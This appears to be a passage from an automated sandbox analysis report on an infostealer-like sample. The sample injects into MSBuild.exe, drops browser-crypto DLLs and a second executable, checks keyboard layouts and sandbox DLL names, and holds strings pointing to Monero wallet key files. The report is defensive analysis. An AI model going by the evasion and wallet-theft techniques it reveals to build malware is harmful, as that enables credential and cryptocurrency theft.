Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: file.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: mozglue.pdbP source: MSBuild.exe, 00000001.00000002.2509880693.000000006CB1D000.00000002.00000001.01000000.00000009.sdmp, MSBuild.exe, 00000001.00000002.2492771809.000000002406D000.00000004.00000020.00020000.00000000.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr
Source:	Binary string: freebl3.pdb source: MSBuild.exe, 00000001.00000002.2490322260.000000001E0FA000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: freebl3.pdbp source: MSBuild.exe, 00000001.00000002.2490322260.000000001E0FA000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: nss3.pdb@ source: MSBuild.exe, 00000001.00000002.2503544477.000000003BE2A000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: softokn3.pdb@ source: MSBuild.exe, 00000001.00000002.2498209531.000000002FF49000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.1.dr, softokn3.dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: MSBuild.exe, 00000001.00000002.2500700972.0000000035EBC000.00000004.00000020.00020000.00000000.sdmp, vcruntime140[1].dll.1.dr, vcruntime140.dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: MSBuild.exe, 00000001.00000002.2495526270.0000000029FDE000.00000004.00000020.00020000.00000000.sdmp, msvcp140.dll.1.dr, msvcp140[1].dll.1.dr
Source:	Binary string: nss3.pdb source: MSBuild.exe, 00000001.00000002.2503544477.000000003BE2A000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: MSBuild.exe, 00000001.00000002.2486359775.0000000017E2A000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2489960212.000000001DD98000.00000002.00001000.00020000.00000000.sdmp, sql[1].dll.1.dr
Source:	Binary string: mozglue.pdb source: MSBuild.exe, 00000001.00000002.2509880693.000000006CB1D000.00000002.00000001.01000000.00000009.sdmp, MSBuild.exe, 00000001.00000002.2492771809.000000002406D000.00000004.00000020.00020000.00000000.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr
Source:	Binary string: softokn3.pdb source: MSBuild.exe, 00000001.00000002.2498209531.000000002FF49000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.1.dr, softokn3.dll.1.dr

Source: file.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: file.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: file.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: file.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: file.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00418A63 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

1_2_00418A63

Source: sql[1].dll.1.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.1.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.1.dr	Static PE information: section name: .00cfg
Source: msvcp140[1].dll.1.dr	Static PE information: section name: .didat
Source: softokn3[1].dll.1.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.1.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.1.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.1.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.1.dr	Static PE information: section name: .didat
Source: softokn3.dll.1.dr	Static PE information: section name: .00cfg
Source: nss3.dll.1.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0060713A push ecx; ret	0_2_0060714D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005B71C1 push ecx; ret	0_2_005B71D4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006072D8 push ds; retn 0003h	0_2_0060738D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0060739E push ds; retn 0003h	0_2_0060738D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00607454 push ds; retf 0003h	0_2_00607455
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00600911 push 3BFFFFFFh; retf	0_2_00600916
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006099ED push 0000004Ch; iretd	0_2_006099FE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005F5DAD push ecx; ret	0_2_005F5DC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0042F262 push ecx; ret	1_2_0042F275
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00422E59 push esi; ret	1_2_00422E5B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0041DED5 push ecx; ret	1_2_0041DEE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00432715 push 0000004Ch; iretd	1_2_00432726
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CADB536 push ecx; ret	1_2_6CADB549
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 8_2_003071C1 push ecx; ret	8_2_003071D4

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\GCGHCBKFCF.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\nss3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\sql[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\a43486128347[1].exe	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\GCGHCBKFCF.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

1_2_00418A63

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: 1.2.MSBuild.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.5d8ad8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.5d8ad8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.MSBuild.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.5b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6988, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 7032, type: MEMORYSTR

Country aware sample found (crashes after keyboard check)

Source: c:\users\user\desktop\file.exe

Event Logs and Signature results: Application crash and keyboard check

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: file.exe, MSBuild.exe	Binary or memory string: DIR_WATCH.DLL
Source: file.exe, MSBuild.exe	Binary or memory string: SBIEDLL.DLL
Source: file.exe, MSBuild.exe	Binary or memory string: API_LOG.DLL
Source: MSBuild.exe, 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: INMPM20IXQUGN9:-?5(\C!7%{->^WALLET_PATHSOFTWARE\MONERO-PROJECT\MONERO-CORE.KEYS\MONERO\WALLET.KEYS\\\.\\...\\\\\\\\\\\\HAL9THJOHNDOEDISPLAYAVGHOOKX.DLLAVGHOOKA.DLLSNXHK.DLLSBIEDLL.DLLAPI_LOG.DLLDIR_WATCH.DLLPSTOREC.DLLVMCHECK.DLLWPESPY.DLLCMDVRT32.DLLCMDVRT64.DLL16:07:4116:07:4116:07:4116:07:4116:07:4116:07:41DELAYS.TMP%S%SNTDLL.DLL

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: OpenInputDesktop,SetThreadDesktop,GetCursorPos,GetCursorPos,Sleep,Sleep,GetCursorPos,Sleep,Sleep,GetCursorPos,

1_2_0040180D

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\nss3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\sql[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	API coverage: 1.5 %
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API coverage: 9.8 %
Source: C:\ProgramData\GCGHCBKFCF.exe	API coverage: 1.5 %

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 6644	Thread sleep time: -30000s >= -30000s			Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe TID: 6256	Thread sleep count: 87 > 30			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00410DDB GetKeyboardLayoutList followed by cmp: cmp eax, ebx and CTI: jbe 00410EEEh

1_2_00410DDB

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

